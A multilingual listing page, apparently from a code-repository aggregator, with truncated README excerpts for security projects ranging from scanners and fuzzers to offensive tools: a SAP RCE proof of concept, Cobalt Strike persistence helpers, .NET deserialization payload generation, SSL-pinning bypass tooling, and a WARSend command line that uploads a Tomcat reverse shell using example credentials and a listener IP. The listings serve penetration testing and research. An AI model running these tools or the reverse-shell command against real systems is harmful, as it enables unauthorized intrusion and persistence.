BurpCopyIssues

開発支援 このプロジェクトがあなたの業務に役立っているなら、継続的なメンテナンスと新機能の開発を支援してください。 ETH 寄付ウォレット 0x11282eE5726B3370c8B480e321b3B2aA13686582 上のQRコードをスキャンするか、ウォレットアドレスをコピーしてください。 BurpCopyIssues Burp Suite 拡張機能で、スキャン結果の閲覧、コピー、エクスポートを行います。 BurpCopyIssues を使う理由 ユースケース ペネトレーションテストレポート : 発見結果を完全な技術詳細とともにレポートテンプレートに素早くコピー...

knocker

Knockerは、Homelab向けにWeb、CLI + GNOME、Androidクライアントを備えた、HTTPベースの「ノックノック」シングルパケット認証SPAゲートウェイを提供するセルフホスト型サービスです。 Caddyのようなリバースプロキシの認証として、あるいはFirewallD連携を使ってファイアウォールレベルでも使用できます。これにより、サービスを完全にプライベートに保ち、認可されたIPアドレスに対してのみオンデマンドで開放できます。 これは、常時接続のVPNなしでサービスをインターネットに公開したいが、公開側の攻撃対象領域を最小限に抑えたいホームラボ環境に最適です。 機能...

windows

Windows !Buildbuildurl !Versiontagurl !Sizetagurl !Packagepkgurl !Pullshuburl Windows inside a Docker container. Features ✨ Runs Windows inside a Docker container Automatic download and hands-free installation Supports modern and legacy Windows releases Near-native performance with KVM accelerati...

windows

Windows !Buildbuildurl !Versiontagurl !Sizetagurl !Packagepkgurl !Pullshuburl Dockerコンテナ内で動作するWindows。 機能 ✨ Dockerコンテナ内でWindowsを実行 自動ダウンロードとハンズフリーインストール 最新およびレガシーWindowsリリースに対応 KVMアクセラレーションによるネイティブに近いパフォーマンス CPU、メモリ、ストレージの割り当てをカスタマイズ可能 メモリバルーニングによる動的メモリ割り当て USBパススルーとホストフォルダ共有...

ephemera

Ephemera : ゼロトラスト SSH 認証局 Ephemera は、インフラストラクチャへのゼロトラストアクセスを強制するために設計された、軽量でセルフホストの SSH 認証局です。静的 SSH キーを短命な証明書に置き換え、ハードウェアバックアップされた WebAuthn MFA を統合し、暗号検証可能な監査証跡を維持します。 !NOTE 正規のソース : Codeberg GitHub ミラー : GitHub 可用性とホスティングのため 高レベルアーキテクチャ graph LR subgraph Client"User Operator" SSH"SSH Client"...

SAP_EEM_CVE-2020-6207

PoC for CVE-2020-6207 SAP Solution Managerにおける認証チェック欠落 このスクリプトは、SAP Solution Managerに接続されたSAP SMDAgent上でRCEに繋がるSAP EEMサーブレットtcsmdagentapplicationeemの認証チェック欠落を確認し、悪用するためのものです。 発見者: Pablo Artuso Yvan 'iggy' G 論文: An Unauthenticated Journey to Root :Pwning Your Company's Enterprise Software Servers...

domdig

DOMDig DOMDig is a DOM XSS scanner that runs inside the Chromium web browser and it can scan single page applications SPA recursively. Unlike other scanners, DOMDig can crawl any webapplication including gmail by keeping track of DOM modifications and XHR/fetch/websocket requests and it can...

wapiti

================================== Wapiti - Web脆弱性スキャナー .. image:: https://img.shields.io/pypi/v/wapiti3?label=PyPI&logo=PyPI&logoColor=white&color=blue :alt: PyPI version :target: https://pypi.python.org/pypi/wapiti3 .. image:: https://img.shields.io/pypi/pyversions/wapiti3 :alt: Supported Pytho...

PersistBOF

PersistBOF 일반적인 지속성 메커니즘을 자동화하는 데 도움이 되는 도구입니다. 현재 Print Monitor SYSTEM, Time Provider Network Service, 시작 폴더 바로가기 하이재킹 User, Junction Folder User, Xll Add-In User을 지원합니다. 사용법 저장소를 클론하고, make를 실행한 후, .cna 파일을 Cobalt Strike 클라이언트에 추가하십시오. CS 콘솔에서 help persist-ice를 실행하십시오. 구문: persist-ice PrintMon,...

retdec

Warning The RetDec project is currently in a limited maintenance mode due to a lack of resources: Pull Requests are welcomed. They are reviewed with priority, if possible without delays. Issues are reacted on with delays up to one quarter. Issues are not actively solved unless they relate to a...

boofuzz

.. image:: https://github.com/jtpereyda/boofuzz/raw/master/artwork/boo-logo-dark.svg :width: 60% :alt: boofuzz logo boofuzz: Network Protocol Fuzzing for Humans .. image:: https://github.com/jtpereyda/boofuzz/actions/workflows/test.yml/badge.svg?branch=master :target:...

boofuzz

.. image:: https://github.com/jtpereyda/boofuzz/raw/master/artwork/boo-logo-dark.svg :width: 60% :alt: boofuzz 로고 boofuzz: 인간을 위한 네트워크 프로토콜 퍼징 .. image:: https://github.com/jtpereyda/boofuzz/actions/workflows/test.yml/badge.svg?branch=master :target:...

frp

frp README | 中文文档 Sponsors frp is an open source project with its ongoing development made possible entirely by the support of our awesome sponsors. If you'd like to join them, please consider sponsoring frp's development. Gold Sponsors The complete IDE crafted for professional Go developers The...

ysoserial.net

안전하지 않은 .NET 객체 역직렬화를 악용하는 페이로드를 생성하기 위한 개념 증명 도구입니다. 설명 ysoserial.net은 일반적인 .NET 라이브러리에서 발견된 유틸리티 및 속성 지향 프로그래밍 "가젯 체인"의 모음으로, 적절한 조건에서 객체의 안전하지 않은 역직렬화를 수행하는 .NET 애플리케이션을 악용할 수 있습니다. 메인 드라이버 프로그램은 사용자가 지정한 명령을 받아 사용자가 지정한 가젯 체인으로 감싼 다음, 이 객체들을 stdout으로 직렬화합니다. 필요한 가젯이 클래스패스에 있는 애플리케이션이 이 데이터를...

renef-skills

renef-skills Claude Code用のプラグイン で、AIエージェントが renef.ioを正しく操作 できるようにします — Android ARM64 向けの動的計装エンジンです：ネイティブ＆Java関数のフック、プロセスメモリのスキャン/読み取り/書き込み/パッチ、システムコールのトレース、 そしてLua 5.4 スクリプトによるSSLピンニング/root検出のバイパス（memfdインジェクション、ptrace不使用）。 これは操作マニュアルであり、チュートリアルではありません。すでにFridaフック、...

cve-2016-1000027-poc

CVE-2016-1000027 の PoC これは、CVE-2016-1000027 の影響を受けるデモの Spring Boot アプリケーションです。 脆弱性再現手順 1. 脆弱性のあるサーバー com.gypsyengineer.server.Server を起動します。 2. com.gypsyengineer.client.Exploit を実行します。 Exploit クラスは payload.bin を読み取り、脆弱なサーバーに送信します。 payload.bin には ysoserial で生成されたペイロードが含まれています。 現在の payload.bin は...

warsend

WARSend Apache Tomcat Manager API を使用した WAR シェルアップロード 前提条件 認証情報 Tomcat Manager への Text API アクセス $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||//// //,/...

ssh-audit

ssh-audit ssh-audit is a tool for ssh server auditing. Features SSH1 and SSH2 protocol server support; grab banner, recognize device or software and operating system, detect compression; gather key-exchange, host-key, encryption and message authentication code algorithms; output algorithm...

gdb-dashboard

GDB dashboard GDB dashboard is a standalone .gdbinit file written using the Python API that enables a modular interface showing relevant information about the program being debugged. Its main goal is to reduce the number of GDB commands needed to inspect the status of current program thus allowin...

yara-x

YARA-X YARA-Xは、マルウェア研究者を念頭に設計されたパターンマッチングツールである YARAの生まれ変わりです。この新しいバージョンは、 前身よりも高速で、安全で、使いやすくなることを目指しています。YARA-Xの最終目標は、 マルウェア研究者のためのデフォルトのパターンマッチングツールとしてYARAを置き換えることです。 YARA-Xを使用すると、テキストパターンまたはバイナリパターンに基づいて、マルウェアファミリー （または説明したいあらゆるもの）の説明を作成できます。各説明（別名ルール）は、一連のパターンと、...